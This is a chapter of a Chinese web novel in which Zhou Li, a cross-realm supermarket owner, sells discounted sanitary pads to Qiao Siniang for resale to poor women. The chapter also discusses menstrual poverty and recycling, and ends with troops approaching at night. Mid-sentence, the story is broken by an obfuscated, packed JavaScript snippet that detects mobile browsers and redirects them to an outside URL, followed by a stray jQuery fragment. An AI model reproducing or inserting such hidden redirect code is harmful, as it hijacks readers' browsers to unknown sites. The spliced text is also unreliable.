门卒在天师院待久了，自然知道“墉城”传说是西王母的仙宫，那里居住着109位女仙。 天师院的女巫以玉皇大帝附身为幌子，取得皇帝的信任，她们必不可能忽视来自“墉城”的仙童。 再者，昭长雁拿出来的“天灯”造型独特，前所未见。 他觉得就冲这盏灯，女巫也是有可能接见她的。 门卒立马进去禀告。 不多时，他趋步而出，躬身道：“天师请仙童入内。” 21.第 21 章 乔四娘再度来超市，提出想要再预订一大批货物时，周梨是感到意外的。 但见乔四娘能在挫折中重新站起来，她的内心是欣慰的。 俗话说得好，失败不可怕，可怕的是没有了再来一次的勇气。 很显然，乔四娘纤弱、瘦小的身体里，蕴含的是坚韧不屈的女性力量。 周梨问：“你想要预订什么？” 乔四娘面色涨红，颇有些忸怩。 半晌，她见超市里没有男人，才拿出一包东西，说：“这个。” 周梨：……这不是卫生巾吗？ 她讶异：“你是决定售卖这个了？” 卫生巾在这个位面属于滞销货。 男人用不上。 女人因价格和诃子不包裆的原因，更倾向自己用布和草木灰做的月事带。 如果要推销卫生巾就得连着内裤一块儿推。 饶是这样，很多女性在听说卫生巾的作用后，会因为羞耻心而不敢多看一眼。 如同此时的乔四娘——她的耳朵已经红得能滴出血来。 乔四娘点了点头，又担忧这对神女不敬，忙道：“回神女，是的，我想卖月事带。” 做出这个决定，她是和殷椒、窦娘商量过的。 而之所以有这个念头，是因为前不久，她的妹妹九娘来月事了。 九娘已经十三岁了，但因生活艰苦营养不良，直到前不久才来初潮。 九娘吓坏了，以为是得了什么绝症，哭着找乔四娘说想吃一顿饱饭再死，不想到了地下当饿死鬼。 乔四娘当即明白了是怎么回事。 她一边安慰妹妹，一边给妹妹拿自己的月事带，先将就用着。 这时，为了更好地处理流寇，而来找乔四娘了解被劫详情的冼三娘撞见了这一幕。 她说：“你用过的月事带怎好给别人用？” 乔四娘说：“我洗干净了的。” 冼三娘说：“洗干净了也不行，这贴身之物不能跟别人混用，神女说对彼此都不好。” 神女都被搬出来了，乔四娘立马收回了月事带：“啊？” 冼三娘又说：“超市里有月事带，那可比我们自己做的月事带好用。” 眼下让她们跑上山去买有些不切实际，冼三娘便借了一片卫生巾给九娘。 但她尴尬地发现九娘连诃子都没有。 想到姐妹俩父母双亡，婶婶也没有义务替她们操持这些，冼三娘叹了口气。 她把自己给女儿买的没拆封过的内裤、背心式文胸给了九娘。 ——冼三娘之所以会备着这些，是因为她经常跟周梨交流。 周梨为了推销超市内的商品，也会见缝插针地介绍它们的用途。 冼三娘正是从周梨这儿知道了，很多女人难以启齿的病都是因为不讲卫生。 当然，她决定开始勤加清洗身体、衣物，不仅是因为卫生问题，还因她认为这样可以离神女更近一些。 否则，为何春社祈神祭祀前，参加仪式的人都要沐浴更衣、焚香佩香？ 冼三娘从姐妹俩的身上获得了启发，决定号召和引导寨子里的女人，给她们上一堂关于卫生与隐疾的课。 乔四娘姐妹和殷椒都去蹭了这堂课。 她们也从冼三娘这儿得到了灵感。 “婶婶、窦娘，我想到了……与其卖人人都需要的东西，还不如卖女人都需要的东西。”乔四娘说，“每个女人都需要月事带，但流寇、蛮兵、官吏多是男人，他们不需要月事带。” 她们经商的路上最大的风险来自于男人。 所以只要售卖男人不需要的东西，就可以降低被掠夺的风险。 还有，月事带轻薄，运送相对轻松方便，她无需再雇佣那么多男人。 与此同时，她可以多雇佣一些女子，由女子负责销售这些月事带。 当然，她花了这么多钱拿下了桂阳监的经销权，她不会放弃售卖别的货物。 但比起自己去售卖，她可以授权给寨子里没有生计的流民。 毕竟经销商也不见得需要自己亲自去销售。 当她发展出多个货郎（下线），再让这些货郎携带少量的货物分别前去桂阳监售卖，便不会引来别人的觊觎了。 她的想法得到了殷椒和窦娘的支持。 … 因担心之前的事令神女对她的感官非常不好，乔四娘这次几乎是把自己的想法和盘托出了。 周梨思忖片刻，说：“你的想法很好，但你知道这卫生巾……月事带的价格吗？对很多普通百姓而言，一天四五片，两斤米就没了。月事往往会来三五天，几天下来至少要用十五片。连温饱问题都没能解决的人会去考虑月事吗？” 这还是往少了说。 量大的女性可能一天会用五片日用加一片夜用的。 过了头三天，量小了，也需要勤换，否则容易滋生细菌。 适用于量超少的护垫，别看尺寸缩水了，价格可是一点都不带缩水的。 她担心乔四娘的想法过于乐观了。 别说在这个物资贫乏的古代，哪怕生活在21世纪，也还是有数千万女性没有摆脱“月经贫困”。 几年前，网上曾因一包二十几块钱100片的“散装卫生巾”，引发了广泛的讨论。 有人认为散装卫生巾没有相关检验合格的证书，使用了可能会引起各种健康问题，所以把卖家和买家都抨击了一遍。 殊不知，那些一包20片，将近四十元的卫生巾，对一部分女性而言是不小的负担。 乔四娘说：“我可以少挣一些。” 她的坚持让周梨微微动容。 周梨最终点了点头：“看在你大量订购的份上，我可以给你打个折，差不多是出厂价了。” 知名品牌卫生巾的出厂价还不到四毛钱一片。 杂牌卫生巾的出厂价更是低至一毛钱一片。 不过，让周梨按出厂价卖是不可能的。 她不贪心，每包挣三五毛钱（1片3分钱），弥补大量囤货占用仓库导致的损失，就足够了。 乔四娘付出了人力物力，也得挣一点钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15408469|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 最终卖给老百姓时，一片五毛钱，一天下来只需一文钱——一枚铜钱能在周梨那儿兑换两元钱。 乔四娘不仅要卖卫生巾，她还想卖内裤、文胸背心这些贴身衣物。 这些能使用很久的衣物，就不需要担忧会因价格问题而卖不出去了。 … 周梨将积压在仓库里的九箱卫生巾都打折卖给了乔四娘。 末了，她想起一事——古人的月事带可以清洗重复利用，卫生巾不行。 怎么处理使用过的卫生巾，这是一个难题。 她还由此联想到那些货物中的塑料包装。 “系统，有没有什么好的解决办法？” 系统说：“可以回收，交给专业垃圾处理公司处理。” “经营成本岂不是增加了？” “相较于利润，这点成本算不了什么。况且，很多垃圾属于可回收垃圾，能循环利用。” 周梨转念一想，系统的话也有道理。 她跟乔四娘说：“你在售卖月事带时，一定要嘱咐她人，这使用过的月事带不能洗了重新使用。用完需要焚烧处理。” 至于焚烧卫生巾所产生的废气，对环境的影响几近于无。 * 决定回收塑料瓶这些垃圾后，周梨便打印了一张大字报贴在超市门口。 流民们知道这事后，纷纷装聋作哑。 笑话，神女主动提出回收的东西能是什么坏东西吗？ 那些奇怪材质的瓶子——塑料瓶——他们可以用来装水。 那些装大米的袋子，他们也能用来装杂物。 甚至是纸皮箱，他们也能用来给孩子写字。 周梨还看到有人用装卫生巾的包装袋来藏钱。 周梨：…… 身为10世纪的老广，不是应该用〇罐曲奇盒来藏钱的吗？ 在流民看来，出自超市的东西都是宝贝。 因此，大字报张贴了两日，依旧无人问津。 这天夜晚，周梨结束营业后，准备盘点库存。 系统忽然告知她，第二个可发展“跨位贸”业务的小世界签证下来了，她可以开启新位面的贸易往来了。 周梨：“……进行跨位面贸易还需要签证？” 系统：“肯定需要。” “这个位面怎么没听说过？” “这个位面对你的位面免签。” 周梨：“。” 她说：“我得先回去补充库存。” “明智的选择。”系统问：“现在进行位面迁跃吗？” “明晚吧，总得提前跟我的顾客们说一声。” 周梨说完，习惯性走出阳台眺望幽谷。 忽然，她看见了山脚下似有火龙在游动。 打开手机相机的50倍变焦拍了几张照片。 经过手机的自动处理，一支举着火把在黑夜中前进的队伍便浮现在手机上。 流寇？ 不，看那整齐的队形，更像是军队。 她这是引起大越朝廷的注意了？